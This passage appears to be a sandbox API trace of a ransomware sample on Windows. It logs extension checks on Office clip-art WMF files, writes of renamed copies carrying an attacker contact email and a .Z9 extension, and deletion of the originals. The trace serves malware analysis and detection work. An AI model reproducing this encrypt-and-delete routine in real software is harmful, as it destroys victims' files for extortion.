	[0089.400] lstrlenW (lpString=".rar") returned 4
	[0089.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString=".bz2") returned 4
	[0089.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString=".7z") returned 3
	[0089.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString=".dbf") returned 4
	[0089.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString=".1cd") returned 4
	[0089.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString=".jpg") returned 4
	[0089.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.400] lstrlenW (lpString=".doc") returned 4
	[0089.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString=".docx") returned 5
	[0089.400] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0089.400] lstrlenW (lpString=".pdf") returned 4
	[0089.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.400] lstrlenW (lpString=".xls") returned 4
	[0089.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.400] lstrlenW (lpString=".xlsx") returned 5
	[0089.401] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0089.401] lstrlenW (lpString=".ppt") returned 4
	[0089.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.401] lstrlenW (lpString=".zip") returned 4
	[0089.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.401] lstrlenW (lpString=".rar") returned 4
	[0089.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.401] lstrlenW (lpString=".bz2") returned 4
	[0089.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.401] lstrlenW (lpString=".7z") returned 3
	[0089.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.401] lstrlenW (lpString=".dbf") returned 4
	[0089.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.401] lstrlenW (lpString=".1cd") returned 4
	[0089.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0089.401] lstrlenW (lpString=".jpg") returned 4
	[0089.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.401] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.401] lstrlenW (lpString="DD00372_.WMF") returned 12
	[0089.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.402] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=792) returned 1
	[0089.402] CloseHandle (hObject=0x370) returned 1
	[0089.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220
	[0089.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.407] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.408] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.408] GetLastError () returned 0x0
	[0089.408] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x318, lpOverlapped=0x0) returned 1
	[0089.411] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x320, lpOverlapped=0x0) returned 1
	[0089.413] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.413] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.414] SetEndOfFile (hFile=0x388) returned 1
	[0089.414] CloseHandle (hObject=0x388) returned 1
	[0089.414] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.414] SetEndOfFile (hFile=0x370) returned 1
	[0089.415] CloseHandle (hObject=0x370) returned 1
	[0089.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1
	[0089.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.415] lstrlenW (lpString=".doc") returned 4
	[0089.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.415] lstrlenW (lpString=".docx") returned 5
	[0089.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.415] lstrlenW (lpString=".pdf") returned 4
	[0089.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.415] lstrlenW (lpString=".xls") returned 4
	[0089.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.415] lstrlenW (lpString=".xlsx") returned 5
	[0089.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.416] lstrlenW (lpString=".ppt") returned 4
	[0089.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString=".zip") returned 4
	[0089.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.416] lstrlenW (lpString=".rar") returned 4
	[0089.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString=".bz2") returned 4
	[0089.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString=".7z") returned 3
	[0089.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString=".dbf") returned 4
	[0089.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString=".1cd") returned 4
	[0089.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString=".jpg") returned 4
	[0089.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.416] lstrlenW (lpString=".doc") returned 4
	[0089.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString=".docx") returned 5
	[0089.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.416] lstrlenW (lpString=".pdf") returned 4
	[0089.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString=".xls") returned 4
	[0089.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.416] lstrlenW (lpString=".xlsx") returned 5
	[0089.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.416] lstrlenW (lpString=".ppt") returned 4
	[0089.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.417] lstrlenW (lpString=".zip") returned 4
	[0089.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.417] lstrlenW (lpString=".rar") returned 4
	[0089.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.417] lstrlenW (lpString=".bz2") returned 4
	[0089.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.417] lstrlenW (lpString=".7z") returned 3
	[0089.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.417] lstrlenW (lpString=".dbf") returned 4
	[0089.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.417] lstrlenW (lpString=".1cd") returned 4
	[0089.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0089.417] lstrlenW (lpString=".jpg") returned 4
	[0089.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.417] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.417] lstrlenW (lpString="DD00405_.WMF") returned 12
	[0089.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.417] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17584) returned 1
	[0089.417] CloseHandle (hObject=0x370) returned 1
	[0089.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220
	[0089.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.418] GetLastError () returned 0x0
	[0089.418] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x44b0, lpOverlapped=0x0) returned 1
	[0089.425] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x44c0, lpOverlapped=0x0) returned 1
	[0089.426] ReadFile (in: hFile=0x370, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.426] WriteFile (in: hFile=0x388, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.426] SetEndOfFile (hFile=0x388) returned 1
	[0089.426] CloseHandle (hObject=0x388) returned 1
	[0089.426] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.426] SetEndOfFile (hFile=0x370) returned 1
	[0089.427] CloseHandle (hObject=0x370) returned 1
	[0089.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1
	[0089.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.473] lstrlenW (lpString=".doc") returned 4
	[0089.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.473] lstrlenW (lpString=".docx") returned 5
	[0089.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.473] lstrlenW (lpString=".pdf") returned 4
	[0089.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString=".xls") returned 4
	[0089.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.474] lstrlenW (lpString=".xlsx") returned 5
	[0089.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.474] lstrlenW (lpString=".ppt") returned 4
	[0089.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString=".zip") returned 4
	[0089.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.474] lstrlenW (lpString=".rar") returned 4
	[0089.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString=".bz2") returned 4
	[0089.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString=".7z") returned 3
	[0089.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString=".dbf") returned 4
	[0089.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString=".1cd") returned 4
	[0089.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString=".jpg") returned 4
	[0089.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.474] lstrlenW (lpString=".doc") returned 4
	[0089.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.474] lstrlenW (lpString=".docx") returned 5
	[0089.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.474] lstrlenW (lpString=".pdf") returned 4
	[0089.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.475] lstrlenW (lpString=".xls") returned 4
	[0089.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.475] lstrlenW (lpString=".xlsx") returned 5
	[0089.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.475] lstrlenW (lpString=".ppt") returned 4
	[0089.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.475] lstrlenW (lpString=".zip") returned 4
	[0089.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.475] lstrlenW (lpString=".rar") returned 4
	[0089.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.475] lstrlenW (lpString=".bz2") returned 4
	[0089.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.475] lstrlenW (lpString=".7z") returned 3
	[0089.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.475] lstrlenW (lpString=".dbf") returned 4
	[0089.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.475] lstrlenW (lpString=".1cd") returned 4
	[0089.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0089.476] lstrlenW (lpString=".jpg") returned 4
	[0089.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.476] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.476] lstrlenW (lpString="DD00413_.WMF") returned 12
	[0089.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.477] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=42992) returned 1
	[0089.477] CloseHandle (hObject=0x388) returned 1
	[0089.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220
	[0089.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.479] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.479] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.479] GetLastError () returned 0x0
	[0089.479] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xa7f0, lpOverlapped=0x0) returned 1
	[0089.488] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa800, lpOverlapped=0x0) returned 1
	[0089.490] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.490] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.490] SetEndOfFile (hFile=0x338) returned 1
	[0089.490] CloseHandle (hObject=0x338) returned 1
	[0089.490] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.490] SetEndOfFile (hFile=0x378) returned 1
	[0089.491] CloseHandle (hObject=0x378) returned 1
	[0089.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.492] lstrlenW (lpString=".doc") returned 4
	[0089.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString=".docx") returned 5
	[0089.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.492] lstrlenW (lpString=".pdf") returned 4
	[0089.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString=".xls") returned 4
	[0089.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.492] lstrlenW (lpString=".xlsx") returned 5
	[0089.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.492] lstrlenW (lpString=".ppt") returned 4
	[0089.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.492] lstrlenW (lpString=".zip") returned 4
